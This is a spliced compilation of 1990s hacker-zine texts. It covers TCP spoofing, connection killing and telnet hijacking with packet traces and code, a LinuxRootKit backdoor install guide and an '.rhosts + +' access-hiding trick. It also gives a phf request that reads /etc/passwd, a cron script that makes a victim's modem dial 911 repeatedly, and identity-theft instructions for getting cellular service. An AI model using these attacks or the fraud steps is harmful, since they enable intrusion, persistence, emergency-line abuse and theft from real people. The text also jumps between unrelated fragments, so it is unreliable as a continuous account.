(denial-of-services) hijack.c Simple automated telnet connection hijacker. 2.2 Programmer notes -------------------- These programs are just examples. That means, they could be improved a lot. Because I wanted to keep them short and leave some stuff to your imagination, they are very simple. However they all work and are a good starting point. 3. TCP/IP (UDP) in an hazelnutshell ----------------------------------- Because it has been explained enough in 'Phrack Volume Seven, Issue Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of documentation available on the subject I will only repeat some things very briefly. (Please read the phrack #48 file or any other document on the subject before reading this). A connection is fully defined with 4 parameters, a source host and port, and a destination host and port. When you make a connection, data is send in packets. Packets take care of low level trafic, and make sure the data arrives (sometimes with special error handling). The spine of most networks is the IP protocol version 4. It is totally independent of all hardware protocols. TCP and UDP are higher level protocols wrapped up in IP packets. All those packets consist of a header and data. IP header contains (amongst other things): IP of source and destination hosts for that packet, and the protocol type of the packet wrapped up in it. (TCP=6, UDP=17, etc.). UDP packets contain (amongst other things): port number of source and destination host. UDP has no such thing as SEQ/ACK, it is a very weak protocol. TCP packets contain (amongst other things): port number of source and destination host, sequence and acknowledge numbers (further refered to as SEQ/ACK), and a bunch of flags. SEQ number: is counted byte per byte, and gives you the number of the NEXT byte to be send, or that is send in this packet. ACK number: is the SEQ number that is expected from the other host. SEQ numbers are chosen at connection initiation. I said is was going to be short... If you didn't understand the above text, read up on it first, because you won't understand sh!t of the rest. 4. Non-blind spoofing --------------------- 4.1 Know what you are doing --------------------------- The concept of non-blind spoofing (NBS further in this doc) is pretty simple. Because packets travel within your reach, you can get the current sequence and acknowledge (SEQ/ACK further in this doc) numbers on the connection. NBS is thus a very easy and accurate method of attack, but limited to connections going over your subnet. In spoofing documentation these attacks are sometimes ommited, because they are mostly 'denial-of-service' attacks, or because people don't realise the advantage a spoof (in particulary a hijack) can have above simple password sniffing. Spoofing in generally is refered to as a verry high level of attack. This refers to blind spoofing (BlS further in this doc), because NBS is kidstuff for a competent coder. 4.2 SYN flooding ---------------- Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of 18'. I won't waste much time on it. Setup: host A <-----][----------X--------------->host B | host S <-----------------/ Concept: Host S impersonates SYN (connection init) coming from host A, to host B. Host A should be unreachable (e.g. turned off, non existant,...). B sends out the second packet of the 3 way TCP handshake. Host B will now wait for response of host A. If host A is reachable it will tell host B (with a reset: RST) that it DID NOT inititate a connection, and thus host B received a bogus packet. (In that case host B will ingnore the SYN, and *normally* nothing will happen) So if A is unreachable, B will wait for response some time. When doing multiple attacks, the backlog of host B is going to be exceeded and host B will not except new connections (read on TCP bugs for additional features ;) for some time. 4.3 Connection Killing ---------------------- Setup: host A <------X------------------------->host B | A,B have a TCP connection running host S <------/ A,S on same subnet (setup is the same in both cases) Use: Clearing mudders of your net, annoying that dude typing an important paper, etc... plain fun. 4.3.1 Using reset (RST) ----------------------- Concept: TCP packets have flags which indicate the status of the packet, like RST. That is a flag used to reset a connection. To be accepted, only the sequence number has to be correct (there is no ACK in a RST packet). So we are going to wait for packets in a connection between A and B. Assume we wait for packets to A. We will calculate (from B's packets) the sequence number for A's packets (from B's ACK's), and fire a bogus RST packet from S (faking to be A) to B. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) (This is a good example of how things not always go as you want, see below for a solution) 1) connection running... we wait for a packet to get current SEQ/ACK (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679 FLAGS: -AP--- Window: 3400 (data removed because irrelevant, 2 bytes data) 2) This is the ACK of it + included data (witch causes SEQ number to change, and thus messing up our scheme, because this came very fast.) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant, 2 bytes data) 3) ACK of it. (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) further data (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD767B ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant) 5) ACK of it (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691 FLAGS: -A---- Window: 3400 6) Now we get 2 RST packets. How do you explain that? Well, the first reset packet has been buffered somewhere on our system, because the ethernet segment was busy when we wanted to send it. This is the 'unexpected thing' I discussed above, here we are lucky, the data stream cooled down so fast. When it doesn't cool down so fast, we could miss our RST (or the connection will be killed a little later then when we wanted), you'll see some idea's on how to fix that problem. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 FLAGS: ---R-- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7691 FLAGS: ---R-- (This was the packet that killed the connection) Discussion of the program: The discussion here is a bit weird , that is because 'sniper-rst.c' is not designed to be an optimal killer, merly to be an example. We have the problem of speed here. We miss some packets what causes those resends. So we would design a better 'sniper' if we do the following: - use blocking IO (not necessarilly, because the RST killer would loose some of it's beauty (looping), this is dealt with in the FIN killer example. Blocking is a little faster when a lot of packets come after each other.) - multi-packet firing... fire more packets with incremented SEQ. (this is commented in the source) - waiting for a pure ACK packet (no data), because otherwise you risk to much of getting mid transmission and not being fast enough. (disadvantage is the 'waiting period' before the connection is killed) NOTE these examples were done on non-loaded networks, with non-loaded servers, what makes it a worst case scenario for speed problems. 4.3.2 Closing a connection (FIN) -------------------------------- Concept: An other flag is FIN and says: "no more data from sender". This flag is used when closing a connection down the normal legit way. So if there was a way to make a packet that is accepted by one of the two hosts, this host would believe the 'sender' didn't have any data left. Following (real) packets would be ignored as they are considered bogus. That's it, because we can sniff the current SEQ/ACK of the connection we can pretend to be either host A or B, and provide the other host with CORRECT packetinformation, and an evil FIN flag. The beauty of it all is, that after a FIN is send the other host always replies with one if it is accepted, so we have a way to verify our killing, and can be 100% sure of success (if for some reason we missed a SEQ or ACK, we can just resend). RST killing is more popular and is prefered, but I've put this in as an example, and I like it myself. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection is running.... sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072' and waits for a packet to take action (we need to get SEQ/ACK) (mind you switching host A and B would be the same, only S would be impersonating A instead of B) suddenly a packet arrives...

But B doesn't know that and continues to send packets. (B->A) host A has that connection closed, and thus thinks the real packets of B are spoofed (or at least bogus)! So host A sends some reset packets (RST).

Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);} We use wait_packet on a non blocking socket. This way we can enable a 10 seconds timeout. This functions returns when the correct packet has been delivered (or timeout). 2) sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq,sp_ack,ACK|FIN); We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we don't send any data with it, our buffer is set to NULL and datalength to 0. NOTE together with FIN, you need to enable ACK. 3) N/A 4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat>=0) {printf("Killed the connection...\n"); exit(0);} We wait for a FIN packet (note the FIN in wait_packet). We use a 5 sec. timeout, if the function returns and stat>=0 (-1 on timeout), we know our attempt was successfull. 5) N/A 6) N/A NOTE We can have the same problem here as with the RST killer. But didn't have it here, because the packet we responded upon was the end of a data stream (in fact it was an echo from a shell command) 4.3.3 Improving --------------- Except from multipacket firing, it is advised to launch 2 attacks (one in both ways). This illiminates one side oriented connections to be handled optimally. I think of things like downloading data, which is a one way data-flow, it is much easier sending a RST from the (spoofed) receiver to the sender, then the other way around. Those 2 attacks could both impersonate host A and B, and thus giving is 4 times more chance of a succesfull kill. I'll leave further experimenting up to you (use your imagination to handle different situations). 4.4 Connection Hijacking ------------------------ Setup: host A <------X------------------------->host B | A,B have a TCP connection running (TELNET) host S <------/ A,S on same subnet Concept: (suppose a TELNET from A (client) to B (server)) TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B trusts the packets from A because of its correct SEQ/ACK numbers. So if there was a way to mess up A's SEQ/ACK, B would stop believing A's real packets. We could then impersonate to be A, but using correct SEQ/ACK numbers (that is numbers correct for B). We would now have taken over the connection (host A is confused, B thinks nothings wrong (almost correct, see 'actual attack'), and S sends 'correct' data to B). This is called 'Hijacking' a connection. (generally hijacking a TELNET session, but same could be done woth FTP, RLOGIN, etc...) How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data packet into the stream at the right time (S as A->B), the server B would accept this data, and update ACK numbers, A would continue to send it's old SEQ numbers, as it's unaware of our spoofed data. Use: I allready hear you wiseguys yelling: "Hey dude, why hijack a connection if you can sniff those packets anyway??" Well, anybody heared of One Time Passwords, Secure Key?? Case closed.... (S/Key: server challenges client, client and server calculate a code from the challenge and password, and compare that code. The password itself is never send on the cable, so you can't sniff sh!t). (OTP: server has a list of passwords, once one is used, it is destroyed, so sniffing gets you a password that has 'just' expired ;) (ALL types of identification that happen at connection (encrypted or not, trusted or not), and don't use encrypted data transfer, are vulnerable to 'hijacking'.) An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) (suppose a TELNET from A (client) to B (server)) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection running... we look with sniffit, and see he's busy in a shell, we start 'hijack' on host S as 'hijack 166.66.66.1 2035 111.11.11.11' a packet containing from (A->B) is detected... hijack takes action...

NO PROBS.... just make a cleanup string that cleans up 'pine' and puts you back in the shell. (some control chars, hotkeys, whatever....)

We expect a packet with an ACK set (PSH or not). It should come within 5 packets, we use this limit, because we should be able to handle some previous ACK packets!

Using LinuxRootKitIII : suid �� Rooting machines is just half the fun, the whole point to owning something is being able to keep root for as long as possible. To do this many kind people have released what are known as root kits. There are currently root kits available for a plethora of operating systems, e.g. Linux, SunOS, and FreeBSD. What a root kit does is installs many backdoored and trojanised programs to replace the existing programs which are used to perform the basic tasks of the host you owned. These tasks include: logging in, listing files, listing proccesses and so on. Focussing on a linux system, mainly because these are the most generally rooted by the masses. There are a few versions of the rootkit around. The main two you should have are LinuxRootKitIII, and LinuxRootKitII. You should have both 2, and 3 because they are for different kinds of linux machine. Generally, LinuxRootKitII (a.k.a lrk2) is for older Linux kernels (in the 1.x range) and LinuxRootKitIII (a.k.a lrk3) is for the newer Linux 2.x kernels. It should be noted somewhere in this article that you need to have owned (rooted) the machine _before_ you try and install rootkit, installing it as a non-root user wont work, and wont help you root the machine at all. Also it should be noted that you shouldn't 'test' lrk2/lrk3 on your own machine as it will probably just fuck you up. Ok, now comes the part I like. To use lrk2 or 3, you need a few things, a Linux box of the correct kernel version, root on that machine, and that machine needs to be able to compile. Once you have that its not a big problem. I'll take you thru it step by step. 1. Upload the lrk of the correct type. Remembering that its lrk2 for 1.x kernels and lrk3 for 2.x kernels. To find out what kernel the remote host is, type "uname -a" at the prompt, the number with the 2 radix points is the kernel version. Example: [root@sploitable root] # uname -a Linux sewid.org 2.0.29 #1 Sat Mar 22 17:39:12 EST 1997 i586 Ex1. This is a linux 2.0.29 kernel machine. Uploading the proper root kit can be easily done by ftp'ing to your remote machine and uploading it that way into some directory on a device with sufficient room to store lrk uncompressed. (Lrk3 is over 3mb uncompressed). To check how much space each device has, type df. 2. Untar/gzip it. This can easily be done by chdir'ing to wherever you uploaded it last step then executing the following command. [root@sploitable root] # tar -zxvf LRKIII.tar.gz 3. Make it. Linux root kits are quite user friendly provided the installation goes according to plan. To make the root kit, chdir to wherever it was untared to (e.g in lrk3, you would type "cd lrk3" from the directory you untarred it from.) and back up your existing binaries. To do this its best to know where they are. Here's a list of the binaries existing location on a common linux system. You should copy all these as shown. /bin/login /usr/bin/passwd /bin/ps /bin/ls /bin/netstat /usr/bin/du /usr/bin/top /usr/bin/rsh /sbin/ifconfig /usr/bin/chsh /usr/bin/chfn /usr/sbin/inetd If one of these files isnt on your system, or not in the directory mentioned above, try to find it using the 'whereis' command. Example: [root@sploitable lrk3] # whereis inetd inetd: /etc/inetd.conf /usr/lbin/inetd /usr/man/man8/inetd.8 Bingo you found inetd hiding in /usr/lbin I suggest copying all these to a directory called bin_bak or something under your lrk dir. Something like "cp /bin/ls ./bin_bak" for all of them is a good start. Ok now you've taken precautions, modify the rootkit.h file that is in the lrk directory. The minimum you should change is the default rootkit password: Example: #define ROOTKIT_PASSWORD "lrkr0x" Change this to... #define ROOTKIT_PASSWORD "code-0" Or anything you want that is *6 CHARACTERS LONG*. Ok thats it. Now your read to compile, this part is taken care of by the make file. All you need to do is type: "make all install" The make file takes all the source, compiles it, and places the new backdoored binaries into all the right places for you. It should be noted that once backdoored you should _NEVER_ attempt to change your rootkit password with the 'passwd' command. The root password is NOT THE SAME AS YOUR ROOTKIT PASSWORD. You may be able to log into the system by typing "root" at the login prompt then some password at the the password prompt, but this is a BACKDOOR, it does not mean the root password is the same as the one you put in rootkit.h.

Confidence Remains High Issue 002 : Tetsu Khan �� We have been very busy over the last 50 days, but we still managed to put together the CodeZero Remote Attack Kit, which contains some very cutting edge tools as well as some very optimised code, we have included all the programs precompiled to run from a Linux 2.0.x box, this way you dont even need a compiler to build this shit =) the source will be available when we can be bothered to put it on our page, so enjoy this second *FREE* issue of... ...Confidence Remains High! T_K One last thing, this issue is a BUMPER WWW hacking issue! because CERT and the IRT are cool, and they think I live in Sweden :) Heres a disclaimer, just in case anyone does get a bit annoyed : *************************************************************************** ** NONE OF THE DATA CONTAINED WITHIN THIS FILE IS TO BE USED UNETHICALLY ** ** USE THIS DATA AT YOUR OWN RISK AND DON'T COME CRYING TO US IF CERT ** ** COME ROUND YOUR HOUSE AND KICK YOUR FUCKING ASS, KILL YOUR PARENTS ** ** AND YOUR DOG AND CONFISCATE ALL YOUR SHIT. ** *************************************************************************** �� 2. wh0 the King? : so1o �� Okay, heres a rundown of the main groups and associations around the scene on the efnet at this moment in time, as well as some comments and members... r00t ==== Many say r00t own us, members include : aleph1 Veggie tfish As in, Aleph One of dfw.net and underground.org, Death Veggie of the cDc, Tweety Fish of the cDc Ninja Strike Force (I also heard he designed the NHC security) as well as ALOT of others who are very well known in the underground. r00t are definately the biggest group on the scene, and easily the most powerful. el8 === el8 is another very powerful group, with members that between them make el8 a force to be feared, members include : prym bw- tsal Overall, a good group, with some very smart people. The CodeZero ============ We d0nt like to talk about ourselves, boosted up to 7 men now :) The Secret Mouse Society (sms) ============================== I dont really know much of this groups true power, but members include... Calidor vertex vortex They have many shells traders, and therefore probably alot of influence in the shells world, as well as experience, quite a large group. I wont even talk about Undernet groups, seeing they continually split, join other groups, change names, rip other people code, shit like that, basically acting like 12 year old warez kiddies (take sIn for example, or maybe even Psychosis.) �� 3. www.codez.com : fr1day �� Yah000!!!@# wE gOt A dOmAin!!!@~# On www.codez.com we will have 40mb of space, this will include the following.. -=[ The Confidence Remains High Distro Point -=[ The CodeZero Exploits / Programs And Tools Page -=[ The Solaris 2.4 / 2.5.x Exploit Collection -=[ The Solaris Tools Collection -=[ The Solaris CodeZero Tools Collection -=[ The Linux 2.0.x Exploit Collection -=[ The Linux Tools Collection -=[ The Linux CodeZero Tools Collection -=[ W1nd0ze And d0S Tools Collection -=[ Assorted Text Philes Collection -=[ The CodeZero FTP Site -=[ H/P/A/V/C E-Zine Archive -=[ CodeZero Precompiled Linux / Solaris Tools And Exploits Archive So don't delay!

Vunerable servers I have found include www.2600.com (FreeBSD 2.1), so it does have some effect, use phpscan.c to scan from a list of hosts, then phpget.c to retrieve files from the remote hosts.

Hiding From Who : so1o �� Okay, bog standard easy shit, works on nearly all systems depending on security arrangements, I advise you always try this method first when trying to hide. DONT type the % signs !!!@~"!* ThEy ArE PrOmPtZ!!! Telnet into the system, then type... % cd % echo "+ +" >> .rhosts If this gives an error, like "Cannot create .rhosts" then try... % cd % echo "+ +" > .rhosts Next telnet to the machines EXACT address, not 127.0.0.1 or localhost, this way works the most effectively..as it says "last login from..." and you don't want your ip to be mentioned, or for anyone to get suspicious, so you will need to cover your tracks. % telnet machine.host.com (then log in again, using the same L/P) now exit completely, using exit twice. The system is now all set up for you to log in without being seen or logged, as the + + you echo to the .rhosts file in the users home directory is actually used so that you can remotely execute commands on the system using rsh, or login into the system remotely, using rlogin, neither operations require a password, just a login name, so if the user changes his password, you will still be able to use this technique, now we can attempt to log into the system untraced, for this we need to either run linux, or be in a shell, follow this one, easy step, replace "login" with your login, and host.com with the EXACT host you want to get into... % rsh -l login host.com csh -i eg... % rsh -l tetsu microsoft.com csh -i This then runs csh (c shell) on the remote host (microsoft) in interactive mode..you should see something like this... % rsh -l tetsu microsoft.com csh -i ...Thus no control on this tty, blah blah blah % Now you are in, type who : % who % w00 w00!! no-one seems to be logged in, and you are therefore hidden!! Now you can proceed to hack the host without having to worry whos watching you. Note : Systems Administrators often look over their users directories for .rhosts files, so be aware of that. �� 6.

Usage : ident-scan [low port] [high port] /* * ident-scan [v0.15] * This TCP scanner has the additional functionality of retrieving * the username that owns the daemon running on the specified port. * It does this by by attempting to connect to a TCP port, and if it * succeeds, it will send out an ident request to identd on the * remote host. I believe this to be a flaw in the design of the * protocol, and if it is the developers intent to allow 'reverse' * idents, then it should have been stated clearer in the * rfc(rfc1413). * * USES: * It can be useful to determine who is running daemons on high ports * that can be security risks.

Your Friend g1mpfuck is on his linux system, you have never really liked him, and he has gone out to someplave for a few hours, to be back this evening... If you root his system, and run this, his modem will dial 911 every 10 mins, but as soon as you do run it, it will kill the pppd and dial the number, so if he's on IRC, then he will quit... Here it is! Read the instructions in the code first... #!/bin/sh # 911-autodial.sh # # for use with linux boxes running DIP. # dials 911 every ten minutes, and if the user is using pppd # it kills pppd in order to place the call. # IMPORTANT!!! # add this line to root's crontab with: crontab -e root # 2,12,22,32,42,52 * * * * /path/to/911-autodial.sh # note: this assumes the modem device is: /dev/modem # if it is otherwise change "port modem" to # "port cua1" or whatever the modem device is # although it is usally /dev/modem. echo " get $local 0.0.0.0" >> /tmp/911.dip echo " get $remote 0.0.0.0" >> /tmp/911.dip echo " port modem" >> /tmp/911.dip echo " speed 38400" >> /tmp/911.dip echo " reset" >> /tmp/911.dip echo " send ATQ0V1E1X4\r" >> /tmp/911.dip echo " wait OK 2" >> /tmp/911.dip echo " dial 911" >> /tmp/911.dip ps -aux|grep pppd|grep -v grep >> /tmp/ppp-check grep "^root" /tmp/ppp-check > /dev/null 2>&1 if [ $? -ne 0 ] ; then echo "PPP IS DEAD" > /tmp/ppp-dead fi if [ -f /tmp/ppp-dead ]; then /sbin/dip /tmp/911 rm /tmp/ppp-* rm /tmp/911.dip exit 1 fi kill `ps -ax|grep pppd|grep -v grep|awk 'BEGIN {FS=" ";OFS=" "} {print $1}` /sbin/dip /tmp/911 rm /tmp/ppp-* rm /tmp/911.dip exit 1 �� 3. Cellular Calls Without Cloning : TRON �� There are several ways to make free calls with a cellular phone that does not have service with the hassle of cloning it, or if you have a phone that can't be cloned or you don't want to buy the expensive equipment required, so here are a few ways to do it from home with little risk... 1.) American Roaming Network. ----------------------------- To reach the American Roaming Network (or something like it, depending on where you are), put your phone on the alternate carrier side so it says roam, then dial 0 and it should tell you your call is being forwarded. At that point you should be connected to an automated system, form here you have a couple of billing options... To use a credit or calling card, you enter the area code and number you want to call; for a calling card you then enter the card number and pin, for a credit card you then enter the card number and expirarion date, then the zip code of the billing address. ARN takes MasterCard, American Express, and most local and long distance company calling cards. They say they dont take VISA anymore, but I've gotten them to work on the automated system. If the number you call is busy or doesn't answer, you can press * and then either leave a message that the system will deliver, or try another number. If you want to dial another number you will have to put the zip code again after the new number. You can also make collect and 3rd party billed calls by dialing 0 instead of the number to call when you connect to ARN. You will be sent to an operator, tell them you would like to place a call. They will then ask how you would like to bill it. You can set up a local dialup voice mail box and change the greeting so it sounds like someone's there to accept the charges, the operator has to read a script, so you have to adjust the timing to get it just right. ARN will not 3rd party or collect bill to 800 numbers, nor will they place calls to 800 numbers charged to 3rd party numbers. 2.) Social Engineering. ----------------------- Another way is to dial 611 and tell the customer support person that you're having trouble getting through to the area you're trying yo call and could they try place the call for you. This works about 50% of the time, it helps to have the name and cell number of someone who has service with that provider in case they ask for it, they might ask for the social security number too, so be prepared, dumpster diving at a cell store is the easiest place to get that info. 3.) Set Up Service With Someone Else's Info. -------------------------------------------- The best way, and the one I prefer to cloning, is to get someone else's information and set up service. The best place to get the information you'll need is from a place that does credit checks, like a bank or car dealership. Make sure they have a good rating, like A, B or C, then you wont be asked for a deposit. You'll need a name, address, social security number, drivers license number and work number. You will also need a cell phone that is not stolen. They will not activate a stolen phone, when I tried they put me on hold and called the person who's phone I had and then told me the person wanted me to mail the phone back to them. Also find and write down the electronic serial number, you'll need that too. You then need to call a local cell service provider (ie. GTE MobilNet, Cellular One, Bell South Mobility, etc.) on a phone you have. Let them tell you about the different service plans and pick one. They will then ask for your "information" and ESN. Then they will ask to call you back with your new cell number, tell them that you're out and ask for a number to call them back at, they will have no problem with this. Then call them back and they will tell you how to program your new number into your phone, they might also tell you how to program in a new system ID and pagin channel etc, this is no big deal. Also ask when the billing cycle ends and when the bill is sent out, you will want to stop using this number when the person you're billing it to gets their bill. Be sure to get call features like 3-way and call forwarding, they're always useful to have. I prefer this to cloning because its less worry and hassle and it lasts up to a month. �� =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== �� 1. Getting Your Exploits Onto Systems : so1o �� You want to get files or exploits onto another system, you can do this the following few ways... 1) Mail The User The File. -------------------------- This method is simple, easy to do, pretty undetectable, but sometimes may be a touch too slow, depending on the location / speed of the system...just mail [email protected] the file or whatever, then wait at the other side for them to get it. 2) FTP to the system. ---------------------- Using an FTP client, you can FTP to the remote server from your system, then upload the files to the server, but you will most probably get logged, and so if your exploits fail, this may not be such a good idea... 3) Use cat to input the file from the terminal. ----------------------------------------------- This is easy to do, pretty quick and effective, follow these steps... FearFactory:~:$ cat > heh.c << STOP #include main() { printf("Quit Laughin' At Yerself Yew Gimp :P\n"): } STOP FearFactory:~:$ cat heh.c #include main() { printf("Quit Laughin' At Yerself Yew Gimp :P\n"): } FearFactory:~:$ cc -o heh heh.c FearFactory:~:$ heh Quit Laughin' At Yerself Yew Gimp :P FearFactory:~:$ I used "cat > filename.c << STOP" to input the file from the terminal, I could have cut a file from another editor, then just pasted it to the terminal, then when I type "STOP" and hit enter, cat stops taking input from the terminal and EOF's the file...Then I cat it again, to prove that the STOP does not stay as part of the file, then I proceed to compile the source using cc and then I run the program, easy =) Always remember to remove traces of exploits from the system if you fail, as this is messy and could lead to the admin becoming suspicious, just keep your technique clean, and you will learn some good skills...

The 1990 Computer Misuse Act - UK --------------------------------- In plain English. ----------------- "An Act to make provision for securing computer material against unauthorised access or modification; and for connected purposes" { This is the long title (header) of the Act and confirms what the act does and applies to. } SECTION 1 Unauthorised access to computer material -------------------------------------------------- TEXT: A person is guilty of an offence if he causes a computer to perform any function with intent to secure access to any program or data held in any computer. { This means that if you can get access to files which you shouldn't be allowed to retrieve or read then you are committing a offence, this only applies if the person in question has intent ( meaning they are doing it on purpose, often referred to as hacking ) to carry this out. } A person is guilty of an Offence if the access he intends to secure is unauthorised; and he knows at the time when he causes the computer to perform the function that that is the case. { This means that the person is guilty doesn't have authorisation to secure access to files then he is committing an offence. The person is not guilty if he/she doesn't know what they are trying to perform. This applies to everything i.e. any program, a program or data of any particular kind and a program or data held } A person guilty of an offence under this section shall be liable on summary conviction to imprisonment for a term not exceeding six months or to a fine not exceeding level 5 on the standard scale or to both. { Meaning, you could go to prison for 6 months for committing an offence mentioned above ! You could also be subject to a fine @ level 5, which is always changing. You have to be convicted of the crime first though ;) } SECTION 2 Unauthorised access with intent to commit or facilitate ----------------------------------------------------------------- commission of further offences ------------------------------ A person is guilty of an offence under this section if he commits an offence under section 1 above. To commit an offence to which this section applies or to facilitate the commission of such an offence ( whether by himself or by any other person) and the offence he intends to commit or facilitate is referred to below in this section as the further offence. { This meaning that what is mentioned in section 2 applies to the person gaining unauthorised access to a computer system and to anyone who facilitates such a person } This section applies to offences for which a person of twenty-one years of age or over ( not previously convicted ) may be sentenced to imprisonment for a term of five years. { This means that if you re-offend or facilitate to re-offend and have been convicted you are liable to 5 years imprisonment or/and a large fine } SECTION 3 Unauthorised modification of computer material -------------------------------------------------------- A person is guilty of an offence if he/she does any act that causes an unauthorised modification of the contents of any computer; and at the time when he does the act he has the requisite intent and the requisite knowledge. { This means that if a person modifies computer material which he/she is not authorised to do he/she is guilty of committing an offence, however, the person must have the intent to carry out this crime else the person is not liable } { This next bit is the interesting bit } For the purposes of the above section the requisite knowledge is an intent to cause a modification of the contents of any computer and by so doing to impair the operation of any computer; to prevent or hinder access to any program or data held in any computer; to impair the operation of any such program or the reliability of any such data. The intent need not be directed at any particular computer; any particular program or data or a program or data of any particular kind; or any particular modification. { This basically means, if you have the intent and knowledge of breaking into computers, without have to actually do it you can be liable to an offence. } For the purposes of the Criminal Damage Act 1971 a modification of the contents of a computer shall not be regarded as damaging any computer or computer storage medium unless its effect on that computer storage medium, impairs its physical condition. { Meaning that you cannot be prosecuted for criminal damage whilst hacking into a machine unless you cause physical damage i.e. on site hacking, then taking a sledge hammer to the computer can be classed as criminal damage but change the password for root login is not criminal damage, unless you send the computer into high speed self destruct mode and ruin one of the heads on the 50 gig duke box ? } { A lot of the next part of the document is about jurisdiction and some technical mumbo jumbo } SECTION 14 Search warrants for offences under section 1 ------------------------------------------------------- Where a circuit judge is satisfied by information on oath given by a constable that there are reasonable grounds for believing that an offence under section 1 above has been or is about to be committed in any premises; and that evidence that such an offence has been or is about to be committed is in those premises he/she may issue a warrant authorising a constable to enter and search the premises, using such reasonable force as is necessary. { This basically means that if they believe that you have the intent or have broken into a system your not supposed to ( section 1 ) they can come around your house and knock your door in, or, open it for them nicely. } SECTION 15 Extradition where Schedule 1 to the Extradition Act 1989 applies --------------------------------------------------------------------------- The offences to which an order in council under section 2 of the extradition act 1870 can apply shall include offences under sections 2 and 3 and any conspiracy to commit such an offence and any attempt to commit an offence under section 3. { This meaning, that if you have a conspiracy to break into a system you can be extradited } In the UK it can be illegal to posses anything which may show an intent to hack, such as hacking documents. So, if your out there and in UK and didn't know that you were doing is most probably illegal then keep your head down ! �� 6. so1o Gets Busted By CERT : so1o �� I've been busted by CERT?!@# umm, okay...whatever you say Hostile you fucken pussy! and a cl000less one at that!@# Speadin' shit about stuff you dont know : [20:57] dude!! wassup?

And here is the phf query code set down by every text I have ever read AND in phfscan.c which I would use if I ever wanted to scan such sites for the phf hole : GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd I think we can all see a slight difference, which basically says "IT'S NOT MY FUCKING STYLE! ONLY A LUNA-FUCKING-TICK would even think about using that technique. Seeing it probably wouldn't work anyway." The next point is the IP from where the queries originate, it is *.telia.com which I have been told is a SWEDISH ISP now, do I live in Sweden? NO!! Do I have any shells at dynamic IP's IN SWEDEN? NO!! There is no plausible way I could have run such a scan. Unless I dial long distance, which isn't gonna happen. One last point, I knew that we "0wned" amnesty.org from about 2 weeks before we actually decided to change the index.html, because when my friends broke in the first time, they had set up a .rhosts file and a suid root shell in something like /tmp/.... But when they left the system and tried to regain access, they found that the admin had removed the account or changed the login and pass, so we decided to leave the site for about a week and a half, until we started to try and formulate a way to get back in, in this period we did NO phf scanning whatsoever. And on the weekend when we did get back in, using an ingenious method that I was never told about, by a new hacker to our team, modeX, we decided to at least do something to prove we had regained access, so I designed a new index.html, to which the team uploaded. That was all that happened, and therefore the phf scans can IN NO WAY be related to the amnesty.org attack as we owned that system A LONG TIME before, and it was only a matter of regaining access, one last point being that we didn't walk through the amnesty "front door" as it were, as I was told we stumbled over a trusted host, shell.oil.ca or something like that. Anyway, thats just a few points I would like to raise in proving that sIn are again VERY CL000LESS fucks who know absolutely NOTHING about hacking or "the scene" in any way shape or form...And as for the Incident Response Team, they are most probably looking for some lamefuck Swedish haqr. Any-Fucking-Way, what the fuck they gonna do when they find this haqr?!@ arrest him for phf'ing 80 sites? h0h0h0, I wouldn't call that much of a bust :) "Listen sonny! you're gonna get 10 years for connecting to port 80 and typing "GET /cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd" becuase thats not against ANY law and CERT owns us all. so1o. There are alot of missing pieces, and alot of the data I base my argument on originated from m0dify (see the letter to [email protected] earlier) so I think I have more of an idea than Hostile the cl00less lame gimpfuck wannabe haqr. �� 7. CERT Advisory CA-97.13 : xlock vunerablity : Taken From Bugtraq �� Topic: Vulnerability in xlock ------------------------------------------------------------------------------- The CERT Coordination Center has received reports that a buffer overflow condition exists in some implementations of xlock. This vulnerability makes it possible for local users (users with access to an account on the system) to execute arbitrary programs as a privileged user. Exploitation information involving this vulnerability has been made publicly available. If your system is vulnerable, the CERT/CC team recommends installing a patch from your vendor. If you are not certain whether your system is vulnerable or if you know that your system is vulnerable and you cannot add a patch immediately, we urge you to apply the workaround described in Section III.B. We will update this advisory as we receive additional information. Please check our advisory files regularly for updates that relate to your site. ------------------------------------------------------------------------------- I. Description xlock is a program that allows a user to "lock" an X terminal. A buffer overflow condition exists in some 